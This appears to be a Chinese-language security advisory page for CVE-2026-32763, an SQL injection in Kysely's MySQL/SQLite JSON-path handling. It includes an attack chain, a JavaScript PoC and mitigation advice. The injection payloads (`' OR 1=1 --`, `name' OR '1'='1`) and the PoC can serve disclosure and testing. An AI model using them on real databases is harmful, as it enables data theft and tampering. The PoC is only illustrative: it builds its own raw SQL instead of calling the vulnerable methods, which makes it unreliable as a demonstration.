IPBUF安全漏洞报告
English
CVE-2026-32763 CVSS 8.2 高危

CVE-2026-32763 Kysely SQL注入漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32763
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Kysely

相关标签

SQL注入KyselyTypeScriptMySQLSQLiteCVE-2026-32763GHSA-wmrf-hv6w-mr66

漏洞概述

Kysely是一款类型安全的TypeScript SQL查询构建器。在0.28.11及更早版本中,MySQL和SQLite方言的JSON路径编译存在SQL注入漏洞。该漏洞源于`visitJSONPathLeg()`函数在处理用户输入时,未对单引号进行转义直接拼接到JSON路径字符串中,攻击者可利用此漏洞注入任意SQL代码。

技术细节

该漏洞发生在Kysely处理MySQL和SQLite方言的JSON路径查询时。核心问题在于`visitJSONPathLeg()`函数在处理`.key()`和`.at()`方法传入的参数时,直接将其拼接到单引号包裹的JSON路径字符串字面量(如`'$.key'`)中,且未对输入中的单引号字符进行转义。JSON路径属于非参数化的SQL构造,通常需要手动转义以确保安全。尽管Kysely对常规标识符提供了`sanitizeIdentifier()`进行保护,但忽略了JSON路径的安全性。攻击者可以通过提交包含单引号的恶意字符串(例如`' OR 1=1 --`),闭合JSON路径字符串并逃逸出上下文,从而在底层SQL查询中注入并执行任意命令,导致数据泄露或篡改。

攻击链分析

STEP 1
侦察
攻击者识别出目标应用使用了Kysely库(版本<=0.28.11)且启用了MySQL或SQLite方言。
STEP 2
武器化
攻击者构造包含单引号(')的恶意字符串,旨在闭合JSON路径字符串字面量并注入SQL语句。
STEP 3
交付
攻击者通过Web表单或API接口,将恶意载荷发送给应用程序,该数据随后被用作`.key()`或`.at()`方法的参数。
STEP 4
利用
Kysely在构建SQL查询时,`visitJSONPathLeg()`函数直接拼接未经过滤的输入,导致攻击者逃逸出JSON上下文。
STEP 5
执行
数据库执行被注入的恶意SQL命令,攻击者可能借此读取敏感数据、修改数据或执行其他数据库操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC Code for CVE-2026-32763 // Target: Kysely <= 0.28.11 (MySQL/SQLite dialects) const { Kysely, sql } = require('kysely'); // Assume a database connection is established // const db = new Kysely({...}); async function exploit() { // 1. Attacker controls the input used in the JSON path // The single quote is used to break out of the string context const maliciousInput = "name' OR '1'='1"; // 2. Vulnerable Query Construction // The application uses user input to build a JSON path. // In vulnerable versions, the generated SQL looks like: // SELECT * FROM users WHERE JSON_EXTRACT(data, '$."name' OR '1'='1"') // The unescaped single quote allows injecting arbitrary SQL. // Example using the raw expression or helper that maps to visitJSONPathLeg const result = await db .selectFrom('users') .selectAll() .where((eb) => eb( 'json_column', '=', sql`JSON_EXTRACT(json_column, '$.${maliciousInput}')` // Illustrative of the internal concatenation )) .execute(); console.log("Exploit executed. SQL Injected via JSON path."); } exploit();

影响范围

Kysely <= 0.28.11

防御指南

临时缓解措施
如果无法立即升级,应实施严格的输入验证,过滤或转义用户输入中的单引号字符,或使用Web应用防火墙(WAF)检测并阻断针对JSON路径的SQL注入尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表